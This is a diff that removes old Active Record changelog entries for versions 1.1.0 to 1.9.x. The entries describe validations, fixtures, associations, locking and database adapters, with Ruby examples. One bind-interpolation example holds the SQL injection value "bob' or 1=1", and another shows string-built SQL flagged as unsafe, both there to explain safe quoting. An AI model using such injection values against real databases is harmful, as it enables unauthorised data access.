-* Fixed auto-stamping of dates (created_on/updated_on) for PostgreSQL #985 [dave@cherryville.org]
-
-* Fixed Base.silence/benchmark to only log if a logger has been configured #986 [Stefan Kaes]
-
-* Added a join parameter as the third argument to Base.find_first and as the second to Base.count #426, #988 [Stefan Kaes]
-
-* Fixed bug in Base#hash method that would treat records with the same string-based id as different [Dave Thomas]
-
-* Renamed DateHelper#distance_of_time_in_words_to_now to DateHelper#time_ago_in_words (old method name is still available as a deprecated alias)
-
-
-*1.9.1* (27th March, 2005)
-
-* Fixed that Active Record objects with float attribute could not be cloned #808
-
-* Fixed that MissingSourceFile's wasn't properly detected in production mode #925 [Nicholas Seckar]
-
-* Fixed that :counter_cache option would look for a line_items_count column for a LineItem object instead of lineitems_count
-
-* Fixed that AR exists?() would explode on postgresql if the passed id did not match the PK type #900 [Scott Barron]
-
-* Fixed the MS SQL adapter to work with the new limit/offset approach and with binary data (still suffering from 7KB limit, though) #901 [delynnb]
-
-
-*1.9.0* (22th March, 2005)
-
-* Added adapter independent limit clause as a two-element array with the first being the limit, the second being the offset #795 [Sam Stephenson]. Example:
-
- Developer.find_all nil, 'id ASC', 5 # return the first five developers
- Developer.find_all nil, 'id ASC', [3, 8] # return three developers, starting from #8 and forward
-
- This doesn't yet work with the DB2 or MS SQL adapters. Patches to make that happen are encouraged.
-
-* Added alias_method :to_param, :id to Base, such that Active Record objects to be used as URL parameters in Action Pack automatically #812 [Nicholas Seckar/Sam Stephenson]
-
-* Improved the performance of the OCI8 adapter for Oracle #723 [pilx/gjenkins]
-
-* Added type conversion before saving a record, so string-based values like "10.0" aren't left for the database to convert #820 [dave@cherryville.org]
-
-* Added with additional settings for working with transactional fixtures and pre-loaded test databases #865 [mindel]
-
-* Fixed acts_as_list to trigger remove_from_list on destroy after the fact, not before, so a unique position can be maintained #871 [Alisdair McDiarmid]
-
-* Added the possibility of specifying fixtures in multiple calls #816 [kim@tinker.com]
-
-* Added Base.exists?(id) that'll return true if an object of the class with the given id exists #854 [stian@grytoyr.net]
-
-* Added optionally allow for nil or empty strings with validates_numericality_of #801 [Sebastian Kanthak]
-
-* Fixed problem with using slashes in validates_format_of regular expressions #801 [Sebastian Kanthak]
-
-* Fixed that SQLite3 exceptions are caught and reported properly #823 [yerejm]
-
-* Added that all types of after_find/after_initialized callbacks are triggered if the explicit implementation is present, not only the explicit implementation itself
-
-* Fixed that symbols can be used on attribute assignment, like page.emails.create(:subject => data.subject, :body => data.body)
-
-
-*1.8.0* (7th March, 2005)
-
-* Added ActiveRecord::Base.colorize_logging to control whether to use colors in logs or not (on by default)
-
-* Added support for timestamp with time zone in PostgreSQL #560 [Scott Barron]
-
-* Added MultiparameterAssignmentErrors and AttributeAssignmentError exceptions #777 [demetrius]. Documentation:
-
- * +MultiparameterAssignmentErrors+ -- collection of errors that occurred during a mass assignment using the
- +attributes=+ method. The +errors+ property of this exception contains an array of +AttributeAssignmentError+
- objects that should be inspected to determine which attributes triggered the errors.
- * +AttributeAssignmentError+ -- an error occurred while doing a mass assignment through the +attributes=+ method.
- You can inspect the +attribute+ property of the exception object to determine which attribute triggered the error.
-
-* Fixed that postgresql adapter would fails when reading bytea fields with null value #771 [rodrigo k]
-
-* Added transactional fixtures that uses rollback to undo changes to fixtures instead of DELETE/INSERT -- it's much faster. See documentation under Fixtures #760 [Jeremy Kemper]
-
-* Added destruction of dependent objects in has_one associations when a new assignment happens #742 [mindel]. Example:
-
- class Account < ActiveRecord::Base
- has_one :credit_card, :dependent => true
- end
- class CreditCard < ActiveRecord::Base
- belongs_to :account
- end
-
- account.credit_card # => returns existing credit card, lets say id = 12
- account.credit_card = CreditCard.create("number" => "123")
- account.save # => CC with id = 12 is destroyed
-
-
-* Added validates_numericality_of #716 [Sebastian Kanthak/Chris McGrath]. Docuemntation:
-
- Validates whether the value of the specified attribute is numeric by trying to convert it to
- a float with Kernel.Float (if <tt>integer</tt> is false) or applying it to the regular expression
- <tt>/^[\+\-]?\d+$/</tt> (if <tt>integer</tt> is set to true).
-
- class Person < ActiveRecord::Base
- validates_numericality_of :value, :on => :create
- end
-
- Configuration options:
- * <tt>message</tt> - A custom error message (default is: "is not a number")
- * <tt>on</tt> Specifies when this validation is active (default is :save, other options :create, :update)
- * <tt>only_integer</tt> Specifies whether the value has to be an integer, e.g. an integral value (default is false)
-
-
-* Fixed that HasManyAssociation#count was using :finder_sql rather than :counter_sql if it was available #445 [Scott Barron]
-
-* Added better defaults for composed_of, so statements like composed_of :time_zone, :mapping => %w( time_zone time_zone ) can be written without the mapping part (it's now assumed)
-
-* Added MacroReflection#macro which will return a symbol describing the macro used (like :composed_of or :has_many) #718, #248 [james@slashetc.com]
-
-
-*1.7.0* (24th February, 2005)
-
-* Changed the auto-timestamping feature to use ActiveRecord::Base.default_timezone instead of entertaining the parallel ActiveRecord::Base.timestamps_gmt method. The latter is now deprecated and will throw a warning on use (but still work) #710 [Jamis Buck]
-
-* Added a OCI8-based Oracle adapter that has been verified to work with Oracle 8 and 9 #629 [Graham Jenkins]. Usage notes:
-
- 1. Key generation uses a sequence "rails_sequence" for all tables. (I couldn't find a simple
- and safe way of passing table-specific sequence information to the adapter.)
- 2. Oracle uses DATE or TIMESTAMP datatypes for both dates and times. Consequently I have had to
- resort to some hacks to get data converted to Date or Time in Ruby.
- If the column_name ends in _at (like created_at, updated_at) it's created as a Ruby Time. Else if the
- hours/minutes/seconds are 0, I make it a Ruby Date. Else it's a Ruby Time.
- This is nasty - but if you use Duck Typing you'll probably not care very much.
- In 9i it's tempting to map DATE to Date and TIMESTAMP to Time but I don't think that is
- valid - too many databases use DATE for both.
- Timezones and sub-second precision on timestamps are not supported.
- 3. Default values that are functions (such as "SYSDATE") are not supported. This is a
- restriction of the way active record supports default values.
- 4. Referential integrity constraints are not fully supported. Under at least
- some circumstances, active record appears to delete parent and child records out of
- sequence and out of transaction scope. (Or this may just be a problem of test setup.)
-
- The OCI8 driver can be retrieved from http://rubyforge.org/projects/ruby-oci8/
-
-* Added option :schema_order to the PostgreSQL adapter to support the use of multiple schemas per database #697 [YuriSchimke]
-
-* Optimized the SQL used to generate has_and_belongs_to_many queries by listing the join table first #693 [yerejm]
-
-* Fixed that when using validation macros with a custom message, if you happened to use single quotes in the message string you would get a parsing error #657 [tonka]
-
-* Fixed that Active Record would throw Broken Pipe errors with FCGI when the MySQL connection timed out instead of reconnecting #428 [Nicholas Seckar]
-
-* Added options to specify an SSL connection for MySQL. Define the following attributes in the connection config (config/database.yml in Rails) to use it: sslkey, sslcert, sslca, sslcapath, sslcipher. To use SSL with no client certs, just set :sslca = '/dev/null'. http://dev.mysql.com/doc/mysql/en/secure-connections.html #604 [daniel@nightrunner.com]
-
-* Added automatic dropping/creating of test tables for running the unit tests on all databases #587 [adelle@bullet.net.au]
-
-* Fixed that find_by_* would fail when column names had numbers #670 [demetrius]
-
-* Fixed the SQL Server adapter on a bunch of issues #667 [DeLynn]
-
- 1. Created a new columns method that is much cleaner.
- 2. Corrected a problem with the select and select_all methods
- that didn't account for the LIMIT clause being passed into raw SQL statements.
- 3. Implemented the string_to_time method in order to create proper instances of the time class.
- 4. Added logic to the simplified_type method that allows the database to specify the scale of float data.
- 5. Adjusted the quote_column_name to account for the fact that MS SQL is bothered by a forward slash in the data string.
-
-* Fixed that the dynamic finder like find_all_by_something_boolean(false) didn't work #649 [lmarlow]
-
-* Added validates_each that validates each specified attribute against a block #610 [Jeremy Kemper]. Example:
-
- class Person < ActiveRecord::Base
- validates_each :first_name, :last_name do |record, attr|
- record.errors.add attr, 'starts with z.' if attr[0] == ?z
- end
- end
-
-* Added :allow_nil as an explicit option for validates_length_of, so unless that's set to true having the attribute as nil will also return an error if a range is specified as :within #610 [Jeremy Kemper]
-
-* Added that validates_* now accept blocks to perform validations #618 [Tim Bates]. Example:
-
- class Person < ActiveRecord::Base
- validate { |person| person.errors.add("title", "will never be valid") if SHOULD_NEVER_BE_VALID }
- end
-
-* Addded validation for validate all the associated objects before declaring failure with validates_associated #618 [Tim Bates]
-
-* Added keyword-style approach to defining the custom relational bindings #545 [Jamis Buck]. Example:
-
- class Project < ActiveRecord::Base
- primary_key "sysid"
- table_name "XYZ_PROJECT"
- inheritance_column { original_inheritance_column + "_id" }
- end
-
-* Fixed Base#clone for use with PostgreSQL #565 [hanson@surgery.wisc.edu]
-
-
-*1.6.0* (January 25th, 2005)
-
-* Added that has_many association build and create methods can take arrays of record data like Base#create and Base#build to build/create multiple records at once.
-
-* Added that Base#delete and Base#destroy both can take an array of ids to delete/destroy #336
-
-* Added the option of supplying an array of attributes to Base#create, so that multiple records can be created at once.
-
-* Added the option of supplying an array of ids and attributes to Base#update, so that multiple records can be updated at once (inspired by #526/Duane Johnson). Example
-
- people = { 1 => { "first_name" => "David" }, 2 => { "first_name" => "Jeremy"} }
- Person.update(people.keys, people.values)
-
-* Added ActiveRecord::Base.timestamps_gmt that can be set to true to make the automated timestamping use GMT instead of local time #520 [Scott Baron]
-
-* Added that update_all calls sanitize_sql on its updates argument, so stuff like MyRecord.update_all(['time = ?', Time.now]) works #519 [notahat]
-
-* Fixed that the dynamic finders didn't treat nil as a "IS NULL" but rather "= NULL" case #515 [Demetrius]
-
-* Added bind-named arrays for interpolating a group of ids or strings in conditions #528 [Jeremy Kemper]
-
-* Added that has_and_belongs_to_many associations with additional attributes also can be created between unsaved objects and only committed to the database when Base#save is called on the associator #524 [Eric Anderson]
-
-* Fixed that records fetched with piggy-back attributes or through rich has_and_belongs_to_many associations couldn't be saved due to the extra attributes not part of the table #522 [Eric Anderson]
-
-* Added mass-assignment protection for the inheritance column -- regardless of a custom column is used or not
-
-* Fixed that association proxies would fail === tests like PremiumSubscription === @account.subscription
-
-* Fixed that column aliases didn't work as expected with the new MySql411 driver #507 [Demetrius]
-
-* Fixed that find_all would produce invalid sql when called sequentialy #490 [Scott Baron]
-
-
-*1.5.1* (January 18th, 2005)
-
-* Fixed that the belongs_to and has_one proxy would fail a test like 'if project.manager' -- this unfortunately also means that you can't call methods like project.manager.build unless there already is a manager on the project #492 [Tim Bates]
-
-* Fixed that the Ruby/MySQL adapter wouldn't connect if the password was empty #503 [Pelle]
-
-
-*1.5.0* (January 17th, 2005)
-
-* Fixed that unit tests for MySQL are now run as the "rails" user instead of root #455 [Eric Hodel]
-
-* Added validates_associated that enables validation of objects in an unsaved association #398 [Tim Bates]. Example:
-
- class Book < ActiveRecord::Base
- has_many :pages
- belongs_to :library
-
- validates_associated :pages, :library
- end
-
-* Added support for associating unsaved objects #402 [Tim Bates]. Rules that govern this addition:
-
- == Unsaved objects and associations
-
- You can manipulate objects and associations before they are saved to the database, but there is some special behaviour you should be
- aware of, mostly involving the saving of associated objects.
-
- === One-to-one associations
-
- * Assigning an object to a has_one association automatically saves that object, and the object being replaced (if there is one), in
- order to update their primary keys - except if the parent object is unsaved (new_record? == true).
- * If either of these saves fail (due to one of the objects being invalid) the assignment statement returns false and the assignment
- is cancelled.
- * If you wish to assign an object to a has_one association without saving it, use the #association.build method (documented below).
- * Assigning an object to a belongs_to association does not save the object, since the foreign key field belongs on the parent. It does
- not save the parent either.
-
- === Collections
-
- * Adding an object to a collection (has_many or has_and_belongs_to_many) automatically saves that object, except if the parent object
- (the owner of the collection) is not yet stored in the database.
- * If saving any of the objects being added to a collection (via #push or similar) fails, then #push returns false.
- * You can add an object to a collection without automatically saving it by using the #collection.build method (documented below).
- * All unsaved (new_record? == true) members of the collection are automatically saved when the parent is saved.
-
-* Added replace to associations, so you can do project.manager.replace(new_manager) or project.milestones.replace(new_milestones) #402 [Tim Bates]
-
-* Added build and create methods to has_one and belongs_to associations, so you can now do project.manager.build(attributes) #402 [Tim Bates]
-
-* Added that if a before_* callback returns false, all the later callbacks and the associated action are cancelled. If an after_* callback returns false, all the later callbacks are cancelled. Callbacks are generally run in the order they are defined, with the exception of callbacks defined as methods on the model, which are called last. #402 [Tim Bates]
-
-* Fixed that Base#== wouldn't work for multiple references to the same unsaved object #402 [Tim Bates]
-
-* Fixed binary support for PostgreSQL #444 [alex@byzantine.no]
-
-* Added a differenciation between AssociationCollection#size and -length. Now AssociationCollection#size returns the size of the
- collection by executing a SELECT COUNT(*) query if the collection hasn't been loaded and calling collection.size if it has. If
- it's more likely than not that the collection does have a size larger than zero and you need to fetch that collection afterwards,
- it'll take one less SELECT query if you use length.
-
-* Added Base#attributes that returns a hash of all the attributes with their names as keys and clones of their objects as values #433 [atyp.de]
-
-* Fixed that foreign keys named the same as the association would cause stack overflow #437 [Eric Anderson]
-
-* Fixed default scope of acts_as_list from "1" to "1 = 1", so it'll work in PostgreSQL (among other places) #427 [Alexey]
-
-* Added Base#reload that reloads the attributes of an object from the database #422 [Andreas Schwarz]
-
-* Added SQLite3 compatibility through the sqlite3-ruby adapter by Jamis Buck #381 [Jeremy Kemper]
-
-* Added support for the new protocol spoken by MySQL 4.1.1+ servers for the Ruby/MySQL adapter that ships with Rails #440 [Matt Mower]
-
-* Added that Observers can use the observes class method instead of overwriting self.observed_class().
-
- Before:
- class ListSweeper < ActiveRecord::Base
- def self.observed_class() [ List, Item ]
- end
-
- After:
- class ListSweeper < ActiveRecord::Base
- observes List, Item
- end
-
-* Fixed that conditions in has_many and has_and_belongs_to_many should be interpolated just like the finder_sql is
-
-* Fixed Base#update_attribute to be indifferent to whether a string or symbol is used to describe the name
-
-* Added Base#toggle(attribute) and Base#toggle!(attribute) that makes it easier to flip a switch or flag.
-
- Before: topic.update_attribute(:approved, !approved?)
- After : topic.toggle!(:approved)
-
-* Added Base#increment!(attribute) and Base#decrement!(attribute) that also saves the records. Example:
-
- page.views # => 1
- page.increment!(:views) # executes an UPDATE statement
- page.views # => 2
-
- page.increment(:views).increment!(:views)
- page.views # => 4
-
-* Added Base#increment(attribute) and Base#decrement(attribute) that encapsulates the += 1 and -= 1 patterns.
-
-
-*1.4.0* (January 4th, 2005)
-
-* Added automated optimistic locking if the field <tt>lock_version</tt> is present. Each update to the
- record increments the lock_version column and the locking facilities ensure that records instantiated twice
- will let the last one saved raise a StaleObjectError if the first was also updated. Example:
-
- p1 = Person.find(1)
- p2 = Person.find(1)
-
- p1.first_name = "Michael"
- p1.save
-
- p2.first_name = "should fail"
- p2.save # Raises a ActiveRecord::StaleObjectError
-
- You're then responsible for dealing with the conflict by rescuing the exception and either rolling back, merging,
- or otherwise apply the business logic needed to resolve the conflict.
-
- #384 [Michael Koziarski]
-
-* Added dynamic attribute-based finders as a cleaner way of getting objects by simple queries without turning to SQL.
- They work by appending the name of an attribute to <tt>find_by_</tt>, so you get finders like <tt>Person.find_by_user_name,
- Payment.find_by_transaction_id</tt>. So instead of writing <tt>Person.find_first(["user_name = ?", user_name])</tt>, you just do
- <tt>Person.find_by_user_name(user_name)</tt>.
-
- It's also possible to use multiple attributes in the same find by separating them with "_and_", so you get finders like
- <tt>Person.find_by_user_name_and_password</tt> or even <tt>Payment.find_by_purchaser_and_state_and_country</tt>. So instead of writing
- <tt>Person.find_first(["user_name = ? AND password = ?", user_name, password])</tt>, you just do
- <tt>Person.find_by_user_name_and_password(user_name, password)</tt>.
-
- While primarily a construct for easier find_firsts, it can also be used as a construct for find_all by using calls like
- <tt>Payment.find_all_by_amount(50)</tt> that is turned into <tt>Payment.find_all(["amount = ?", 50])</tt>. This is something not as equally useful,
- though, as it's not possible to specify the order in which the objects are returned.
-
-* Added block-style for callbacks #332 [Jeremy Kemper].
-
- Before:
- before_destroy(Proc.new{ |record| Person.destroy_all "firm_id = #{record.id}" })
-
- After:
- before_destroy { |record| Person.destroy_all "firm_id = #{record.id}" }
-
-* Added :counter_cache option to acts_as_tree that works just like the one you can define on belongs_to #371 [Josh Peek]
-
-* Added Base.default_timezone accessor that determines whether to use Time.local (using :local) or Time.utc (using :utc) when pulling dates
- and times from the database. This is set to :local by default.
-
-* Added the possibility for adapters to overwrite add_limit! to implement a different limiting scheme than "LIMIT X" used by MySQL, PostgreSQL, and SQLite.
-
-* Added the possibility of having objects with acts_as_list created before their scope is available or...
-
-* Added a db2 adapter that only depends on the Ruby/DB2 bindings (http://raa.ruby-lang.org/project/ruby-db2/) #386 [Maik Schmidt]
-
-* Added the final touches to the Microsoft SQL Server adapter by Joey Gibson that makes it suitable for actual use #394 [DeLynn Barry]
-
-* Added that Base#find takes an optional options hash, including :conditions. Base#find_on_conditions deprecated in favor of #find with :conditions #407 [Jeremy Kemper]
-
-* Added HasManyAssociation#count that works like Base#count #413 [intinig]
-
-* Fixed handling of binary content in blobs and similar fields for Ruby/MySQL and SQLite #409 [xal]
-
-* Fixed a bug in the Ruby/MySQL that caused binary content to be escaped badly and come back mangled #405 [Tobias Lütke]
-
-* Fixed that the const_missing autoload assumes the requested constant is set by require_association and calls const_get to retrieve it.
- If require_association did not set the constant then const_get will call const_missing, resulting in an infinite loop #380 [Jeremy Kemper]
-
-* Fixed broken transactions that were actually only running object-level and not db level transactions [andreas]
-
-* Fixed that validates_uniqueness_of used 'id' instead of defined primary key #406
-
-* Fixed that the overwritten respond_to? method didn't take two parameters like the original #391
-
-* Fixed quoting in validates_format_of that would allow some rules to pass regardless of input #390 [Dmitry V. Sabanin]
-
-
-*1.3.0* (December 23, 2004)
-
-* Added a require_association hook on const_missing that makes it possible to use any model class without requiring it first. This makes STI look like:
-
- before:
- require_association 'person'
- class Employee < Person
- end
-
- after:
- class Employee < Person
- end
-
- This also reduces the usefulness of Controller.model in Action Pack to currently only being for documentation purposes.
-
-* Added that Base.update_all and Base.delete_all return an integer of the number of affected rows #341
-
-* Added scope option to validation_uniqueness #349 [Kent Sibilev]
-
-* Added respondence to *_before_type_cast for all attributes to return their string-state before they were type casted by the column type.
- This is helpful for getting "100,000" back on a integer-based validation where the value would normally be "100".
-
-* Added allow_nil options to validates_inclusion_of so that validation is only triggered if the attribute is not nil [what-a-day]
-
-* Added work-around for PostgreSQL and the problem of getting fixtures to be created from id 1 on each test case.
- This only works for auto-incrementing primary keys called "id" for now #359 [Scott Baron]
-
-* Added Base#clear_association_cache to empty all the cached associations #347 [Tobias Lütke]
-
-* Added more informative exceptions in establish_connection #356 [Jeremy Kemper]
-
-* Added Base#update_attributes that'll accept a hash of attributes and save the record (returning true if it passed validation, false otherwise).
-
- Before:
- person.attributes = @params["person"]
- person.save
-
- Now:
- person.update_attributes(@params["person"])
-
-* Added Base.destroy and Base.delete to remove records without holding a reference to them first.
-
-* Added that query benchmarking will only happen if its going to be logged anyway #344
-
-* Added higher_item and lower_item as public methods for acts_as_list #342 [Tobias Lütke]
-
-* Fixed that options[:counter_sql] was overwritten with interpolated sql rather than original sql #355 [Jeremy Kemper]
-
-* Fixed that overriding an attribute's accessor would be disregarded by add_on_empty and add_on_boundary_breaking because they simply used
- the attributes[] hash instead of checking for @base.respond_to?(attr.to_s). [Marten]
-
-* Fixed that Base.table_name would expect a parameter when used in has_and_belongs_to_many joins [Anna Lissa Cruz]
-
-* Fixed that nested transactions now work by letting the outer most transaction have the responsibilty of starting and rolling back the transaction.
- If any of the inner transactions swallow the exception raised, though, the transaction will not be rolled back. So always let the transaction
- bubble up even when you've dealt with local issues. Closes #231 and #340.
-
-* Fixed validates_{confirmation,acceptance}_of to only happen when the virtual attributes are not nil #348 [dpiddy@gmail.com]
-
-* Changed the interface on AbstractAdapter to require that adapters return the number of affected rows on delete and update operations.
-
-* Fixed the automated timestamping feature when running under Rails' development environment that resets the inheritable attributes on each request.
-
-
-
-*1.2.0*
-
-* Added Base.validates_inclusion_of that validates whether the value of the specified attribute is available in a particular enumerable
- object. [what-a-day]
-
- class Person < ActiveRecord::Base
- validates_inclusion_of :gender, :in=>%w( m f ), :message=>"woah! what are you then!??!!"
- validates_inclusion_of :age, :in=>0..99
- end
-
-* Added acts_as_list that can decorates an existing class with methods like move_higher/lower, move_to_top/bottom. [Tobias Lütke] Example:
-
- class TodoItem < ActiveRecord::Base
- acts_as_list :scope => :todo_list_id
- belongs_to :todo_list
- end
-
-* Added acts_as_tree that can decorates an existing class with a many to many relationship with itself. Perfect for categories in
- categories and the likes. [Tobias Lütke]
-
-* Added that Active Records will automatically record creation and/or update timestamps of database objects if fields of the names
- created_at/created_on or updated_at/updated_on are present. [Tobias Lütke]
-
-* Added Base.default_error_messages as a hash of all the error messages used in the validates_*_of so they can be changed in one place [Tobias Lütke]
-
-* Added automatic transaction block around AssociationCollection.<<, AssociationCollection.delete, and AssociationCollection.destroy_all
-
-* Fixed that Base#find will return an array if given an array -- regardless of the number of elements #270 [Marten]
-
-* Fixed that has_and_belongs_to_many would generate bad sql when naming conventions differed from using vanilla "id" everywhere [RedTerror]
-
-* Added a better exception for when a type column is used in a table without the intention of triggering single-table inheritance. Example:
-
- ActiveRecord::SubclassNotFound: The single-table inheritance mechanism failed to locate the subclass: 'bad_class!'.
- This error is raised because the column 'type' is reserved for storing the class in case of inheritance.
- Please rename this column if you didn't intend it to be used for storing the inheritance class or
- overwrite Company.inheritance_column to use another column for that information.
-
-* Added that single-table inheritance will only kick in if the inheritance_column (by default "type") is present. Otherwise, inheritance won't
- have any magic side effects.
-
-* Added the possibility of marking fields as being in error without adding a message (using nil) to it that'll get displayed wth full_messages #208 [mjobin]
-
-* Fixed Base.errors to be indifferent as to whether strings or symbols are used. Examples:
-
- Before:
- errors.add(:name, "must be shorter") if name.size > 10
- errors.on(:name) # => "must be shorter"
- errors.on("name") # => nil
-
- After:
- errors.add(:name, "must be shorter") if name.size > 10
- errors.on(:name) # => "must be shorter"
- errors.on("name") # => "must be shorter"
-
-* Added Base.validates_format_of that Validates whether the value of the specified attribute is of the correct form by matching
- it against the regular expression provided. [Marcel Molina Jr.]
-
- class Person < ActiveRecord::Base
- validates_format_of :email, :with => /^([^@\s]+)@((?:[-a-z0-9]+\.)+[a-z]{2,})$/, :on => :create
- end
-
-* Added Base.validates_length_of that delegates to add_on_boundary_breaking #312 [Tobias Lütke]. Example:
-
- Validates that the specified attribute matches the length restrictions supplied in either:
-
- - configuration[:minimum]
- - configuration[:maximum]
- - configuration[:is]
- - configuration[:within] (aka. configuration[:in])
-
- Only one option can be used at a time.
-
- class Person < ActiveRecord::Base
- validates_length_of :first_name, :maximum=>30
- validates_length_of :last_name, :maximum=>30, :message=>"less than %d if you don't mind"
- validates_length_of :user_name, :within => 6..20, :too_long => "pick a shorter name", :too_short => "pick a longer name"
- validates_length_of :fav_bra_size, :minimum=>1, :too_short=>"please enter at least %d character"
- validates_length_of :smurf_leader, :is=>4, :message=>"papa is spelled with %d characters... don't play me."
- end
-
-* Added Base.validate_presence as an alternative to implementing validate and doing errors.add_on_empty yourself.
-
-* Added Base.validates_uniqueness_of that alidates whether the value of the specified attributes are unique across the system.
- Useful for making sure that only one user can be named "davidhh".
-
- class Person < ActiveRecord::Base
- validates_uniqueness_of :user_name
- end
-
- When the record is created, a check is performed to make sure that no record exist in the database with the given value for the specified
- attribute (that maps to a column). When the record is updated, the same check is made but disregarding the record itself.
-
-
-* Added Base.validates_confirmation_of that encapsulates the pattern of wanting to validate a password or email address field with a confirmation. Example:
-
- Model:
- class Person < ActiveRecord::Base
- validates_confirmation_of :password
- end
-
- View:
- <%= password_field "person", "password" %>
- <%= password_field "person", "password_confirmation" %>
-
- The person has to already have a password attribute (a column in the people table), but the password_confirmation is virtual.
- It exists only as an in-memory variable for validating the password. This check is performed both on create and update.
-
-
-* Added Base.validates_acceptance_of that encapsulates the pattern of wanting to validate the acceptance of a terms of service check box (or similar agreement). Example:
-
- class Person < ActiveRecord::Base
- validates_acceptance_of :terms_of_service
- end
-
- The terms_of_service attribute is entirely virtual. No database column is needed. This check is performed both on create and update.
-
- NOTE: The agreement is considered valid if it's set to the string "1". This makes it easy to relate it to an HTML checkbox.
-
-
-* Added validation macros to make the stackable just like the life cycle callbacks. Examples:
-
- class Person < ActiveRecord::Base
- validate { |record| record.errors.add("name", "too short") unless name.size > 10 }
- validate { |record| record.errors.add("name", "too long") unless name.size < 20 }
- validate_on_create :validate_password
-
- private
- def validate_password
- errors.add("password", "too short") unless password.size > 6
- end
- end
-
-* Added the option for sanitizing find_by_sql and the offset parts in regular finds [Sam Stephenson]. Examples:
-
- Project.find_all ["category = ?", category_name], "created ASC", ["? OFFSET ?", 15, 20]
- Post.find_by_sql ["SELECT * FROM posts WHERE author = ? AND created > ?", author_id, start_date]
-
-* Fixed value quoting in all generated SQL statements, so that integers are not surrounded in quotes and that all sanitation are happening
- through the database's own quoting routine. This should hopefully make it lots easier for new adapters that doesn't accept '1' for integer
- columns.
-
-* Fixed has_and_belongs_to_many guessing of foreign key so that keys are generated correctly for models like SomeVerySpecialClient
- [Florian Weber]
-
-* Added counter_sql option for has_many associations [Jeremy Kemper]. Documentation:
-
- <tt>:counter_sql</tt> - specify a complete SQL statement to fetch the size of the association. If +:finder_sql+ is
- specified but +:counter_sql+, +:counter_sql+ will be generated by replacing SELECT ... FROM with SELECT COUNT(*) FROM.
-
-* Fixed that methods wrapped in callbacks still return their original result #260 [Jeremy Kemper]
-
-* Fixed the Inflector to handle the movie/movies pair correctly #261 [Scott Baron]
-
-* Added named bind-style variable interpolation #281 [Michael Koziarski]. Example:
-
- Person.find(["id = :id and first_name = :first_name", { :id => 5, :first_name = "bob' or 1=1" }])
-
-* Added bind-style variable interpolation for the condition arrays that uses the adapter's quote method [Michael Koziarski]
-
- Before:
- find_first([ "user_name = '%s' AND password = '%s'", user_name, password ])]
- find_first([ "firm_id = %s", firm_id ])] # unsafe!
-
- After:
- find_first([ "user_name = ? AND password = ?", user_name, password ])]
- find_first([ "firm_id = ?", firm_id ])]
-
-* Added CSV format for fixtures #272 [what-a-day]. (See the new and expanded documentation on fixtures for more information)
-
-* Fixed fixtures using primary key fields called something else than "id" [dave]
-
-* Added proper handling of time fields that are turned into Time objects with the dummy date of 2000/1/1 [HariSeldon]
-
-* Added reverse order of deleting fixtures, so referential keys can be maintained #247 [Tim Bates]
-
-* Added relative path search for sqlite dbfiles in database.yml (if RAILS_ROOT is defined) #233 [Jeremy Kemper]
-
-* Added option to establish_connection where you'll be able to leave out the parameter to have it use the RAILS_ENV environment variable
-
-* Fixed problems with primary keys and postgresql sequences (#230) [Tim Bates]
-
-* Added reloading for associations under cached environments like FastCGI and mod_ruby. This makes it possible to use those environments for development.
- This is turned on by default, but can be turned off with ActiveRecord::Base.reload_dependencies = false in production environments.
-
- NOTE: This will only have an effect if you let the associations manage the requiring of model classes. All libraries loaded through
- require will be "forever" cached. You can, however, use ActiveRecord::Base.load_or_require("library") to get this behavior outside of the
- auto-loading associations.
-
-* Added ERB capabilities to the fixture files for dynamic fixture generation. You don't need to do anything, just include ERB blocks like:
-
- david:
- id: 1
- name: David
-
- jamis:
- id: 2
- name: Jamis
-
- <% for digit in 3..10 %>
- dev_<%= digit %>:
- id: <%= digit %>
- name: fixture_<%= digit %>
- <% end %>
-
-* Changed the yaml fixture searcher to look in the root of the fixtures directory, so when you before could have something like:
-
- fixtures/developers/fixtures.yaml
- fixtures/accounts/fixtures.yaml
-
- ...you now need to do:
-
- fixtures/developers.yaml
- fixtures/accounts.yaml
-
-* Changed the fixture format from:
-
- name: david
- data:
- id: 1
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
- ---
- name: steve
- data:
- id: 2
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-
- ...to:
-
- david:
- id: 1
- name: David Heinemeier Hansson
- birthday: 1979-10-15
- profession: Systems development
-
- steve:
- id: 2
- name: Steve Ross Kellock
- birthday: 1974-09-27
- profession: guy with keyboard
-
- The change is NOT backwards compatible. Fixtures written in the old YAML style needs to be rewritten!
-
-* All associations will now attempt to require the classes that they associate to. Relieving the need for most explicit 'require' statements.
-
-
-*1.1.0* (34)
-
-* Added automatic fixture setup and instance variable availability. Fixtures can also be automatically
- instantiated in instance variables relating to their names using the following style:
-
- class FixturesTest < Test::Unit::TestCase
- fixtures :developers # you can add more with comma separation
-
- def test_developers
- assert_equal 3, @developers.size # the container for all the fixtures is automatically set
- assert_kind_of Developer, @david # works like @developers["david"].find
- assert_equal "David Heinemeier Hansson", @david.name
- end
- end
-
-* Added HasAndBelongsToManyAssociation#push_with_attributes(object, join_attributes) that can create associations in the join table with additional
- attributes. This is really useful when you have information that's only relevant to the join itself, such as a "added_on" column for an association
- between post and category. The added attributes will automatically be injected into objects retrieved through the association similar to the piggy-back
- approach:
-
- post.categories.push_with_attributes(category, :added_on => Date.today)
- post.categories.first.added_on # => Date.today
-
- NOTE: The categories table doesn't have a added_on column, it's the categories_post join table that does!
-
-* Fixed that :exclusively_dependent and :dependent can't be activated at the same time on has_many associations [Jeremy Kemper]
-
-* Fixed that database passwords couldn't be all numeric [Jeremy Kemper]
-
-* Fixed that calling id would create the instance variable for new_records preventing them from being saved correctly [Jeremy Kemper]
-
-* Added sanitization feature to HasManyAssociation#find_all so it works just like Base.find_all [Sam Stephenson/Jeremy Kemper]
-
-* Added that you can pass overlapping ids to find without getting duplicated records back [Jeremy Kemper]
-
-* Added that Base.benchmark returns the result of the block [Jeremy Kemper]
-
-* Fixed problem with unit tests on Windows with SQLite [paterno]
-
-* Fixed that quotes would break regular non-yaml fixtures [Dmitry Sabanin/daft]
-
-* Fixed fixtures on windows with line endings cause problems under unix / mac [Tobias Lütke]
-
-* Added HasAndBelongsToManyAssociation#find(id) that'll search inside the collection and find the object or record with that id
-
-* Added :conditions option to has_and_belongs_to_many that works just like the one on all the other associations
-
-* Added AssociationCollection#clear to remove all associations from has_many and has_and_belongs_to_many associations without destroying the records [geech]
-
-* Added type-checking and remove in 1-instead-of-N sql statements to AssociationCollection#delete [geech]
-
